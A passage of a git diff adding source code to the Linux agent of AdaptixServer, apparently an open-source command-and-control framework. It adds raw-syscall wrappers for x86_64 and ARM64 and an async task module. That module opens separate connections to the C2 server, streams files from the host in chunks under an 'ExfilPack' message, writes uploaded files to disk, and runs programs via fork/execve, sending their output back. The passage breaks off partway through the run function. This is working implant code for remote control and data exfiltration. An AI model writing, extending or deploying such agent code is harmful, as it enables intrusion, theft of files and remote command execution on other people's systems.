raw_syscall1(__NR_exit_group, status); +} + +// ── Stat (via fstatat since ARM64 has no stat syscall) ── + +struct linux_stat { + unsigned long st_dev; + unsigned long st_ino; + unsigned int st_mode; + unsigned int st_nlink; + unsigned int st_uid; + unsigned int st_gid; + unsigned long st_rdev; + unsigned long __pad1; + long st_size; + int st_blksize; + int __pad2; + long st_blocks; + unsigned long st_atime_sec; + unsigned long st_atime_nsec; + unsigned long st_mtime_sec; + unsigned long st_mtime_nsec; + unsigned long st_ctime_sec; + unsigned long st_ctime_nsec; + unsigned int __unused4; + unsigned int __unused5; +}; + +static inline int sys_fstatat(int dirfd, const char *path, struct linux_stat *buf, int flags) { + return (int)raw_syscall4(__NR_fstatat, dirfd, (long)path, (long)buf, flags); +} + +static inline int sys_stat(const char *path, struct linux_stat *buf) { + return sys_fstatat(AT_FDCWD, path, buf, 0); +} + +static inline int sys_fstat(int fd, struct linux_stat *buf) { + return (int)raw_syscall2(__NR_fstat, fd, (long)buf); +} + +// ── Filesystem (via *at syscalls since ARM64 has no legacy versions) ── + +static inline int sys_mkdir(const char *path, int mode) { + return (int)raw_syscall3(__NR_mkdirat, AT_FDCWD, (long)path, mode); +} + +static inline int sys_unlink(const char *path) { + return (int)raw_syscall3(__NR_unlinkat, AT_FDCWD, (long)path, 0); +} + +#define AT_REMOVEDIR 0x200 + +static inline int sys_rmdir(const char *path) { + return (int)raw_syscall3(__NR_unlinkat, AT_FDCWD, (long)path, AT_REMOVEDIR); +} + +static inline int sys_rename(const char *oldpath, const char *newpath) { + return (int)raw_syscall4(__NR_renameat, AT_FDCWD, (long)oldpath, AT_FDCWD, (long)newpath); +} + +// ── Fork (via clone on ARM64) ── + +#define SIGCHLD 17 + +static inline int sys_fork(void) { + return (int)raw_syscall5(__NR_clone, SIGCHLD, 0, 0, 0, 0); +} + +// ── Network syscalls ── + +static inline int sys_socket(int domain, int type, int protocol) { + return (int)raw_syscall3(__NR_socket, domain, type, protocol); +} + +static inline int sys_connect(int fd, const void *addr, unsigned int addrlen) { + return (int)raw_syscall3(__NR_connect, fd, (long)addr, addrlen); +} + +static inline int sys_bind(int fd, const void *addr, unsigned int addrlen) { + return (int)raw_syscall3(__NR_bind, fd, (long)addr, addrlen); +} + +static inline int sys_listen(int fd, int backlog) { + return (int)raw_syscall2(__NR_listen, fd, backlog); +} + +static inline int sys_accept(int fd, void *addr, unsigned int *addrlen) { + return (int)raw_syscall3(__NR_accept, fd, (long)addr, (long)addrlen); +} + +static inline int sys_setsockopt(int fd, int level, int optname, const void *optval, unsigned int optlen) { + return (int)raw_syscall5(__NR_setsockopt, fd, level, optname, (long)optval, optlen); +} + +static inline int sys_getsockopt(int fd, int level, int optname, void *optval, unsigned int *optlen) { + return (int)raw_syscall5(__NR_getsockopt, fd, level, optname, (long)optval, (long)optlen); +} + +// ── Process wait ── + +static inline int sys_wait4(int pid, int *wstatus, int options, void *rusage) { + return (int)raw_syscall4(__NR_wait4, pid, (long)wstatus, options, (long)rusage); +} + +// ── Sleep (nanosleep) ── + +struct linux_timespec { + long tv_sec; + long tv_nsec; +}; + +static inline int sys_nanosleep(const struct linux_timespec *req, struct linux_timespec *rem) { + return (int)raw_syscall2(__NR_nanosleep, (long)req, (long)rem); +} + +static inline void sys_sleep(unsigned int seconds) { + struct linux_timespec ts = { .tv_sec = seconds, .tv_nsec = 0 }; + sys_nanosleep(&ts, (struct linux_timespec*)0); +} + +static inline void sys_usleep(unsigned int usec) { + struct linux_timespec ts = { .tv_sec = usec / 1000000, .tv_nsec = (usec % 1000000) * 1000L }; + sys_nanosleep(&ts, (struct linux_timespec*)0); +} + +// ── Timestamp modification ── + +static inline int sys_utimensat(int dirfd, const char *path, const struct linux_timespec times[2], int flags) { + return (int)raw_syscall4(__NR_utimensat, dirfd, (long)path, (long)times, flags); +} + +// ── Process session/group ── + +static inline int sys_setsid(void) { + return (int)raw_syscall0(__NR_setsid); +} + +static inline int sys_setpgid(int pid, int pgid) { + return (int)raw_syscall2(__NR_setpgid, pid, pgid); +} + +// ── Select (pselect6) ── + +static inline int sys_pselect6(int nfds, void *readfds, void *writefds, + void *exceptfds, const struct linux_timespec *timeout, + const void *sigmask) { + return (int)raw_syscall6(__NR_pselect6, nfds, (long)readfds, (long)writefds, + (long)exceptfds, (long)timeout, (long)sigmask); +} + +// ── Threading via clone() ── + +#define CLONE_VM 0x00000100 +#define CLONE_FS 0x00000200 +#define CLONE_FILES 0x00000400 +#define CLONE_SIGHAND 0x00000800 +#define CLONE_THREAD 0x00010000 +#define CLONE_SYSVSEM 0x00040000 +#define CLONE_SETTLS 0x00080000 +#define CLONE_PARENT_SETTID 0x00100000 +#define CLONE_CHILD_CLEARTID 0x00200000 + +#define THREAD_CLONE_FLAGS (CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | \ + CLONE_THREAD | CLONE_SYSVSEM | CLONE_SETTLS | \ + CLONE_PARENT_SETTID | CLONE_CHILD_CLEARTID) + +#endif // ARCH_AARCH64 +#endif // SYSCALLS_AARCH64_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_x64.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_x64.h new file mode 100644 index 000000000..921bc0e53 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_x64.h @@ -0,0 +1,407 @@ +#ifndef SYSCALLS_X64_H +#define SYSCALLS_X64_H + +#ifdef ARCH_X86_64 + +#include +#include + +/// Linux x86_64 syscall numbers +#define __NR_read 0 +#define __NR_write 1 +#define __NR_open 2 +#define __NR_close 3 +#define __NR_stat 4 +#define __NR_fstat 5 +#define __NR_mmap 9 +#define __NR_mprotect 10 +#define __NR_munmap 11 +#define __NR_ioctl 16 +#define __NR_pipe 22 +#define __NR_dup2 33 +#define __NR_socket 41 +#define __NR_connect 42 +#define __NR_accept 43 +#define __NR_bind 49 +#define __NR_listen 50 +#define __NR_setsockopt 54 +#define __NR_getsockopt 55 +#define __NR_clone 56 +#define __NR_fork 57 +#define __NR_execve 59 +#define __NR_exit 60 +#define __NR_kill 62 +#define __NR_fcntl 72 +#define __NR_getcwd 79 +#define __NR_chdir 80 +#define __NR_rename 82 +#define __NR_mkdir 83 +#define __NR_rmdir 84 +#define __NR_unlink 87 +#define __NR_getuid 102 +#define __NR_ptrace 101 +#define __NR_geteuid 107 +#define __NR_getpid 39 +#define __NR_getdents64 217 +#define __NR_exit_group 231 +#define __NR_waitid 247 +#define __NR_openat 257 +#define __NR_pipe2 293 +#define __NR_nanosleep 35 +#define __NR_wait4 61 +#define __NR_select 23 +#define __NR_setsid 112 +#define __NR_setpgid 109 +#define __NR_pselect6 270 +#define __NR_prctl 157 +#define __NR_utimensat 280 +#define __NR_bpf 321 +#define __NR_getrandom 318 +#define __NR_memfd_create 319 + +/// Raw syscall wrappers — inline assembly +/// Convention: rax=nr, rdi=a0, rsi=a1, rdx=a2, r10=a3, r8=a4, r9=a5 +/// Clobbered: rcx, r11 + +static inline long raw_syscall0(long number) { + long ret; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number) + : "rcx", "r11", "memory" + ); + return ret; +} + +static inline long raw_syscall1(long number, long a0) { + long ret; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number), "D"(a0) + : "rcx", "r11", "memory" + ); + return ret; +} + +static inline long raw_syscall2(long number, long a0, long a1) { + long ret; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number), "D"(a0), "S"(a1) + : "rcx", "r11", "memory" + ); + return ret; +} + +static inline long raw_syscall3(long number, long a0, long a1, long a2) { + long ret; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number), "D"(a0), "S"(a1), "d"(a2) + : "rcx", "r11", "memory" + ); + return ret; +} + +static inline long raw_syscall4(long number, long a0, long a1, long a2, long a3) { + long ret; + register long r10 __asm__("r10") = a3; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number), "D"(a0), "S"(a1), "d"(a2), "r"(r10) + : "rcx", "r11", "memory" + ); + return ret; +} + +static inline long raw_syscall5(long number, long a0, long a1, long a2, long a3, long a4) { + long ret; + register long r10 __asm__("r10") = a3; + register long r8 __asm__("r8") = a4; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number), "D"(a0), "S"(a1), "d"(a2), "r"(r10), "r"(r8) + : "rcx", "r11", "memory" + ); + return ret; +} + +static inline long raw_syscall6(long number, long a0, long a1, long a2, long a3, long a4, long a5) { + long ret; + register long r10 __asm__("r10") = a3; + register long r8 __asm__("r8") = a4; + register long r9 __asm__("r9") = a5; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number), "D"(a0), "S"(a1), "d"(a2), "r"(r10), "r"(r8), "r"(r9) + : "rcx", "r11", "memory" + ); + return ret; +} + +/// Convenience wrappers + +static inline int sys_open(const char *path, int flags, int mode) { + return (int)raw_syscall3(__NR_open, (long)path, flags, mode); +} + +static inline int sys_openat(int dirfd, const char *path, int flags, int mode) { + return (int)raw_syscall4(__NR_openat, dirfd, (long)path, flags, mode); +} + +static inline int sys_close(int fd) { + return (int)raw_syscall1(__NR_close, fd); +} + +static inline long sys_read(int fd, void *buf, size_t count) { + return raw_syscall3(__NR_read, fd, (long)buf, count); +} + +static inline long sys_write(int fd, const void *buf, size_t count) { + return raw_syscall3(__NR_write, fd, (long)buf, count); +} + +static inline int sys_getpid(void) { + return (int)raw_syscall0(__NR_getpid); +} + +static inline int sys_getuid(void) { + return (int)raw_syscall0(__NR_getuid); +} + +static inline int sys_geteuid(void) { + return (int)raw_syscall0(__NR_geteuid); +} + +static inline int sys_kill(int pid, int sig) { + return (int)raw_syscall2(__NR_kill, pid, sig); +} + +static inline long sys_ptrace(long request, long pid, void *addr, void *data) { + return raw_syscall4(__NR_ptrace, request, pid, (long)addr, (long)data); +} + +static inline void *sys_mmap(void *addr, size_t length, int prot, int flags, int fd, long offset) { + return (void*)raw_syscall6(__NR_mmap, (long)addr, length, prot, flags, fd, offset); +} + +static inline int sys_munmap(void *addr, size_t length) { + return (int)raw_syscall2(__NR_munmap, (long)addr, length); +} + +static inline int sys_mprotect(void *addr, size_t length, int prot) { + return (int)raw_syscall3(__NR_mprotect, (long)addr, length, prot); +} + +static inline int sys_fork(void) { + return (int)raw_syscall0(__NR_fork); +} + +static inline int sys_execve(const char *pathname, char *const argv[], char *const envp[]) { + return (int)raw_syscall3(__NR_execve, (long)pathname, (long)argv, (long)envp); +} + +static inline int sys_getcwd(char *buf, size_t size) { + return (int)raw_syscall2(__NR_getcwd, (long)buf, size); +} + +static inline int sys_chdir(const char *path) { + return (int)raw_syscall1(__NR_chdir, (long)path); +} + +static inline int sys_mkdir(const char *path, int mode) { + return (int)raw_syscall2(__NR_mkdir, (long)path, mode); +} + +static inline int sys_unlink(const char *path) { + return (int)raw_syscall1(__NR_unlink, (long)path); +} + +static inline int sys_rename(const char *oldpath, const char *newpath) { + return (int)raw_syscall2(__NR_rename, (long)oldpath, (long)newpath); +} + +static inline int sys_rmdir(const char *path) { + return (int)raw_syscall1(__NR_rmdir, (long)path); +} + +static inline int sys_getdents64(int fd, void *dirp, unsigned int count) { + return (int)raw_syscall3(__NR_getdents64, fd, (long)dirp, count); +} + +static inline int sys_dup2(int oldfd, int newfd) { + return (int)raw_syscall2(__NR_dup2, oldfd, newfd); +} + +static inline int sys_pipe2(int pipefd[2], int flags) { + return (int)raw_syscall2(__NR_pipe2, (long)pipefd, flags); +} + +static inline int sys_ioctl(int fd, unsigned long request, unsigned long arg) { + return (int)raw_syscall3(__NR_ioctl, fd, request, arg); +} + +static inline int sys_fcntl(int fd, int cmd, long arg) { + return (int)raw_syscall3(__NR_fcntl, fd, cmd, arg); +} + +static inline long sys_getrandom(void *buf, size_t buflen, unsigned int flags) { + return raw_syscall3(__NR_getrandom, (long)buf, buflen, flags); +} + +static inline int sys_memfd_create(const char *name, unsigned int flags) { + return (int)raw_syscall2(__NR_memfd_create, (long)name, flags); +} + +static inline int sys_prctl(int option, unsigned long a2, unsigned long a3, unsigned long a4, unsigned long a5) { + return (int)raw_syscall5(__NR_prctl, option, a2, a3, a4, a5); +} + +static inline long sys_bpf(int cmd, void *attr, unsigned int size) { + return raw_syscall3(__NR_bpf, cmd, (long)attr, size); +} + +static inline void sys_exit_group(int status) { + raw_syscall1(__NR_exit_group, status); +} + +// ── Stat ── + +struct linux_stat { + unsigned long st_dev; + unsigned long st_ino; + unsigned long st_nlink; + unsigned int st_mode; + unsigned int st_uid; + unsigned int st_gid; + unsigned int __pad0; + unsigned long st_rdev; + long st_size; + long st_blksize; + long st_blocks; + unsigned long st_atime_sec; + unsigned long st_atime_nsec; + unsigned long st_mtime_sec; + unsigned long st_mtime_nsec; + unsigned long st_ctime_sec; + unsigned long st_ctime_nsec; + long __unused[3]; +}; + +static inline int sys_stat(const char *path, struct linux_stat *buf) { + return (int)raw_syscall2(__NR_stat, (long)path, (long)buf); +} + +static inline int sys_fstat(int fd, struct linux_stat *buf) { + return (int)raw_syscall2(__NR_fstat, fd, (long)buf); +} + +// ── Network syscalls ── + +static inline int sys_socket(int domain, int type, int protocol) { + return (int)raw_syscall3(__NR_socket, domain, type, protocol); +} + +static inline int sys_connect(int fd, const void *addr, unsigned int addrlen) { + return (int)raw_syscall3(__NR_connect, fd, (long)addr, addrlen); +} + +static inline int sys_bind(int fd, const void *addr, unsigned int addrlen) { + return (int)raw_syscall3(__NR_bind, fd, (long)addr, addrlen); +} + +static inline int sys_listen(int fd, int backlog) { + return (int)raw_syscall2(__NR_listen, fd, backlog); +} + +static inline int sys_accept(int fd, void *addr, unsigned int *addrlen) { + return (int)raw_syscall3(__NR_accept, fd, (long)addr, (long)addrlen); +} + +static inline int sys_setsockopt(int fd, int level, int optname, const void *optval, unsigned int optlen) { + return (int)raw_syscall5(__NR_setsockopt, fd, level, optname, (long)optval, optlen); +} + +static inline int sys_getsockopt(int fd, int level, int optname, void *optval, unsigned int *optlen) { + return (int)raw_syscall5(__NR_getsockopt, fd, level, optname, (long)optval, (long)optlen); +} + +// ── Process wait ── + +static inline int sys_wait4(int pid, int *wstatus, int options, void *rusage) { + return (int)raw_syscall4(__NR_wait4, pid, (long)wstatus, options, (long)rusage); +} + +// ── Sleep (nanosleep) ── + +struct linux_timespec { + long tv_sec; + long tv_nsec; +}; + +static inline int sys_nanosleep(const struct linux_timespec *req, struct linux_timespec *rem) { + return (int)raw_syscall2(__NR_nanosleep, (long)req, (long)rem); +} + +static inline void sys_sleep(unsigned int seconds) { + struct linux_timespec ts = { .tv_sec = seconds, .tv_nsec = 0 }; + sys_nanosleep(&ts, (struct linux_timespec*)0); +} + +static inline void sys_usleep(unsigned int usec) { + struct linux_timespec ts = { .tv_sec = usec / 1000000, .tv_nsec = (usec % 1000000) * 1000L }; + sys_nanosleep(&ts, (struct linux_timespec*)0); +} + +// ── Timestamp modification ── + +static inline int sys_utimensat(int dirfd, const char *path, const struct linux_timespec times[2], int flags) { + return (int)raw_syscall4(__NR_utimensat, dirfd, (long)path, (long)times, flags); +} + +// ── Process session/group ── + +static inline int sys_setsid(void) { + return (int)raw_syscall0(__NR_setsid); +} + +static inline int sys_setpgid(int pid, int pgid) { + return (int)raw_syscall2(__NR_setpgid, pid, pgid); +} + +// ── Select (pselect6) ── + +static inline int sys_pselect6(int nfds, void *readfds, void *writefds, + void *exceptfds, const struct linux_timespec *timeout, + const void *sigmask) { + return (int)raw_syscall6(__NR_pselect6, nfds, (long)readfds, (long)writefds, + (long)exceptfds, (long)timeout, (long)sigmask); +} + +// ── Threading via clone() ── +// Minimal pthread replacement for -nostdlib static builds +// Stack: mmap(STACK_SIZE), child runs fn(arg) + +#define CLONE_VM 0x00000100 +#define CLONE_FS 0x00000200 +#define CLONE_FILES 0x00000400 +#define CLONE_SIGHAND 0x00000800 +#define CLONE_THREAD 0x00010000 +#define CLONE_SYSVSEM 0x00040000 +#define CLONE_SETTLS 0x00080000 +#define CLONE_PARENT_SETTID 0x00100000 +#define CLONE_CHILD_CLEARTID 0x00200000 + +#define THREAD_CLONE_FLAGS (CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | \ + CLONE_THREAD | CLONE_SYSVSEM | CLONE_SETTLS | \ + CLONE_PARENT_SETTID | CLONE_CHILD_CLEARTID) + +#endif // ARCH_X86_64 +#endif // SYSCALLS_X64_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.c new file mode 100644 index 000000000..4dfacfa0f --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.c @@ -0,0 +1,772 @@ +/// tasks_async.c -- Async commands for Linux agent (download/upload/run/job_list/job_kill) +/// Phase 3b: full implementation copied from macOS agent, adapted for Linux direct syscalls + +#include "tasks_async.h" +#include "jobs.h" +#include "crt.h" +#include "crypt.h" +#include "types.h" + +#ifdef BUILD_SO +#include "elf_resolve.h" +#else +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif +#endif + +// ── Helpers ── + +static void write_error(mp_writer_t *w, const char *msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +// File open/close/read/write/stat abstraction +#ifdef BUILD_SO + +#define F_open(p,f,m) R_open(p,f,m) +#define F_close(fd) R_close(fd) +#define F_read(fd,b,n) R_read(fd,b,n) +#define F_write(fd,b,n) R_write(fd,b,n) +#define F_fork() R_fork() +#define F_setpgid(p,g) R_setpgid(p,g) +#define F_execve(p,a,e) R_execve(p,a,e) +#define F_dup2(o,n) R_dup2(o,n) +#define F_pipe(p) R_pipe(p) +#define F_fcntl(fd,c,a) R_fcntl(fd,c,a) +#define F_waitpid(p,s,o) R_waitpid(p,s,o) +#define F_kill(p,s) R_kill(p,s) +#define F_exit(s) R_exit(s) +#define F_usleep(u) R_usleep(u) + +static int F_fstat_size(int fd) { + struct { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; + unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; + unsigned int __pad; unsigned long st_rdev; long st_size; + /* ... */ } st; + if (R_fstat(fd, &st) != 0) return -1; + return (int)st.st_size; +} + +#else + +#define F_open(p,f,m) sys_open(p,f,m) +#define F_close(fd) sys_close(fd) +#define F_read(fd,b,n) sys_read(fd,b,n) +#define F_write(fd,b,n) sys_write(fd,b,n) +#define F_fork() sys_fork() +#define F_setpgid(p,g) sys_setpgid(p,g) +#define F_execve(p,a,e) sys_execve(p,a,e) +#define F_dup2(o,n) sys_dup2(o,n) +#define F_pipe(p) sys_pipe2(p,0) +#define F_fcntl(fd,c,a) sys_fcntl(fd,c,a) +#define F_waitpid(p,s,o) sys_wait4(p,s,o,(void*)0) +#define F_kill(p,s) sys_kill(p,s) +#define F_exit(s) sys_exit_group(s) +#define F_usleep(u) sys_usleep(u) + +static int F_fstat_size(int fd) { + struct linux_stat st; + if (sys_fstat(fd, &st) != 0) return -1; + return (int)st.st_size; +} + +#endif + +// O_* constants +#ifndef O_RDONLY +#define O_RDONLY 0 +#define O_WRONLY 1 +#define O_RDWR 2 +#define O_CREAT 0100 +#define O_TRUNC 01000 +#define O_NONBLOCK 04000 +#endif +#ifndef F_SETFL +#define F_SETFL 4 +#define F_GETFL 3 +#endif +#ifndef WNOHANG +#define WNOHANG 1 +#endif + +// ── Download ── +// Spawns thread -> opens new C2 connection -> streams file in 1MB chunks +// Wire: AnsDownload{id,path,size,content,start,finish,canceled} + +#define DOWNLOAD_CHUNK_SIZE (1024 * 1024) // 1MB + +typedef struct { + int job_idx; + char task[64]; + char path[4096]; +} download_args_t; + +static void *download_thread(void *arg) { + download_args_t *args = (download_args_t*)arg; + job_context_t *ctx = &g_job_ctx; + job_entry_t *job = &ctx->jobs[args->job_idx]; + + // Open separate connection to C2 + if (jobs_open_connection(ctx, &job->conn) != 0) { + job->active = 0; + ax_free(args); + return (void*)0; + } + + // Send ExfilPack init: {id, type, task} + mp_writer_t pack_w; + mp_writer_init(&pack_w, 128); + mp_write_map(&pack_w, 3); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_uint(&pack_w, "type", ctx->profile_type); + mp_write_kv_str(&pack_w, "task", args->task); + + if (jobs_send_init(ctx, &job->conn, EXFIL_PACK, pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) { + mp_writer_free(&pack_w); + conn_close(&job->conn); + job->active = 0; + ax_free(args); + return (void*)0; + } + mp_writer_free(&pack_w); + + // Parse FileId from task hex string + int file_id = ax_hextoi(args->task); + + // Open file + int fd = F_open(args->path, O_RDONLY, 0); + if (fd < 0) { + // Send canceled message + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 7); + mp_write_kv_int(&ans_w, "id", file_id); + mp_write_kv_str(&ans_w, "path", args->path); + mp_write_kv_int(&ans_w, "size", 0); + mp_write_kv_bin(&ans_w, "content", (uint8_t*)0, 0); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", true); + mp_write_kv_bool(&ans_w, "canceled", true); + + jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + + conn_close(&job->conn); + jobs_remove(ctx, args->job_idx); + ax_free(args); + return (void*)0; + } + + // Get file size + int total_size = F_fstat_size(fd); + if (total_size < 0) total_size = 0; + + // Read and stream in chunks + uint8_t *chunk_buf = (uint8_t*)ax_malloc(DOWNLOAD_CHUNK_SIZE); + int offset = 0; + int first = 1; + + while (offset < total_size && !job->canceled) { + int remaining = total_size - offset; + int to_read = remaining < DOWNLOAD_CHUNK_SIZE ? remaining : DOWNLOAD_CHUNK_SIZE; + + long n = F_read(fd, chunk_buf, (size_t)to_read); + if (n <= 0) break; + + int is_last = (offset + (int)n >= total_size); + + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128 + (size_t)n); + mp_write_map(&ans_w, 7); + mp_write_kv_int(&ans_w, "id", file_id); + mp_write_kv_str(&ans_w, "path", args->path); + mp_write_kv_int(&ans_w, "size", (int64_t)total_size); + mp_write_kv_bin(&ans_w, "content", chunk_buf, (uint32_t)n); + mp_write_kv_bool(&ans_w, "start", first ? true : false); + mp_write_kv_bool(&ans_w, "finish", is_last ? true : false); + mp_write_kv_bool(&ans_w, "canceled", false); + + if (jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len) != 0) { + mp_writer_free(&ans_w); + break; + } + mp_writer_free(&ans_w); + + offset += (int)n; + first = 0; + } + + // If canceled, send cancel marker + if (job->canceled && offset < total_size) { + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 7); + mp_write_kv_int(&ans_w, "id", file_id); + mp_write_kv_str(&ans_w, "path", args->path); + mp_write_kv_int(&ans_w, "size", (int64_t)total_size); + mp_write_kv_bin(&ans_w, "content", (uint8_t*)0, 0); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", true); + mp_write_kv_bool(&ans_w, "canceled", true); + + jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + } + + ax_free(chunk_buf); + F_close(fd); + conn_close(&job->conn); + jobs_remove(ctx, args->job_idx); + ax_free(args); + return (void*)0; +} + +int task_download(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + // Parse ParamsDownload{Task, Path} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char task[64] = {0}; + char path[4096] = {0}; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 4 && ax_memcmp(k, "task", 4) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; } + } else if (kl == 4 && ax_memcmp(k, "path", 4) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(path)) { ax_memcpy(path, v, vl); path[vl] = '\0'; } + } else { + mp_skip(&r); + } + } + + if (task[0] == '\0' || path[0] == '\0') { + write_error(w, "missing task or path"); + return 0; + } + + int idx = jobs_alloc(&g_job_ctx); + if (idx < 0) { write_error(w, "max jobs reached"); return 0; } + + job_entry_t *job = &g_job_ctx.jobs[idx]; + ax_strncpy(job->job_id, task, sizeof(job->job_id) - 1); + job->job_type = JOB_TYPE_DOWNLOAD; + job->active = 1; + + download_args_t *args = (download_args_t*)ax_malloc(sizeof(download_args_t)); + args->job_idx = idx; + ax_strncpy(args->task, task, sizeof(args->task) - 1); + ax_strncpy(args->path, path, sizeof(args->path) - 1); + + jobs_thread_create(&job->thread, download_thread, args); + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "download started"); + return 0; +} + +// ── Upload ── +// Synchronous — data received in chunks via normal command loop +// Wire: ParamsUpload{Path, Content, Finish} + +int task_upload(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char task[64] = {0}; + char path[4096] = {0}; + const uint8_t *content = (uint8_t*)0; + uint32_t content_len = 0; + bool finish = false; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 4 && ax_memcmp(k, "task", 4) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; } + } else if (kl == 4 && ax_memcmp(k, "path", 4) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(path)) { ax_memcpy(path, v, vl); path[vl] = '\0'; } + } else if (kl == 7 && ax_memcmp(k, "content", 7) == 0) { + mp_read_bin(&r, &content, &content_len); + } else if (kl == 6 && ax_memcmp(k, "finish", 6) == 0) { + mp_read_bool(&r, &finish); + } else { + mp_skip(&r); + } + } + + if (task[0] == '\0') { write_error(w, "missing task"); return 0; } + + job_context_t *ctx = &g_job_ctx; + + // Find or create upload entry + int uidx = -1; + for (int i = 0; i < ctx->upload_count; i++) { + if (ax_strcmp(ctx->uploads[i].task_id, task) == 0) { uidx = i; break; } + } + if (uidx < 0) { + if (ctx->upload_count >= MAX_JOBS) { write_error(w, "max uploads reached"); return 0; } + uidx = ctx->upload_count++; + ax_memset(&ctx->uploads[uidx], 0, sizeof(upload_entry_t)); + ax_strncpy(ctx->uploads[uidx].task_id, task, sizeof(ctx->uploads[uidx].task_id) - 1); + } + + upload_entry_t *up = &ctx->uploads[uidx]; + + // Append content + if (content && content_len > 0) { + size_t needed = up->data_len + content_len; + if (needed > up->data_cap) { + size_t new_cap = needed * 2; + if (new_cap < 4096) new_cap = 4096; + uint8_t *new_data = (uint8_t*)ax_malloc(new_cap); + if (up->data && up->data_len > 0) { + ax_memcpy(new_data, up->data, up->data_len); + ax_free(up->data); + } + up->data = new_data; + up->data_cap = new_cap; + } + ax_memcpy(up->data + up->data_len, content, content_len); + up->data_len += content_len; + } + + if (finish) { + // Write file + int fd = F_open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd < 0) { + write_error(w, "failed to create file"); + } else { + if (up->data && up->data_len > 0) { + F_write(fd, up->data, up->data_len); + } + F_close(fd); + + mp_write_map(w, 2); + mp_write_kv_str(w, "path", path); + mp_write_kv_int(w, "size", (int64_t)up->data_len); + } + + // Cleanup upload entry + if (up->data) ax_free(up->data); + for (int i = uidx; i < ctx->upload_count - 1; i++) + ctx->uploads[i] = ctx->uploads[i + 1]; + ctx->upload_count--; + } else { + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "chunk received"); + } + + return 0; +} + +// ── Run ── +// Spawns thread -> opens new C2 connection -> fork+execve -> streams stdout/stderr +// Wire: AnsRun{Stdout, Stderr, Pid, Start, Finish} + +#define RUN_CHUNK_SIZE 65536 // 64KB + +typedef struct { + int job_idx; + char task[64]; + char program[4096]; + char *args[64]; + int argc; +} run_args_t; + +static void *run_thread(void *arg) { + run_args_t *rargs = (run_args_t*)arg; + job_context_t *ctx = &g_job_ctx; + job_entry_t *job = &ctx->jobs[rargs->job_idx]; + + // Open separate connection to C2 + if (jobs_open_connection(ctx, &job->conn) != 0) { + job->active = 0; + for (int i = 0; i < rargs->argc; i++) ax_free(rargs->args[i]); + ax_free(rargs); + return (void*)0; + } + + // Send JobPack init: {id, type, task} + mp_writer_t pack_w; + mp_writer_init(&pack_w, 128); + mp_write_map(&pack_w, 3); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_uint(&pack_w, "type", ctx->profile_type); + mp_write_kv_str(&pack_w, "task", rargs->task); + + if (jobs_send_init(ctx, &job->conn, JOB_PACK, pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) { + mp_writer_free(&pack_w); + conn_close(&job->conn); + job->active = 0; + for (int i = 0; i < rargs->argc; i++) ax_free(rargs->args[i]); + ax_free(rargs); + return (void*)0; + } + mp_writer_free(&pack_w); + + // Create pipes for stdout and stderr + int stdout_pipe[2], stderr_pipe[2]; + if (F_pipe(stdout_pipe) != 0 || F_pipe(stderr_pipe) != 0) { + conn_close(&job->conn); + jobs_remove(ctx, rargs->job_idx); 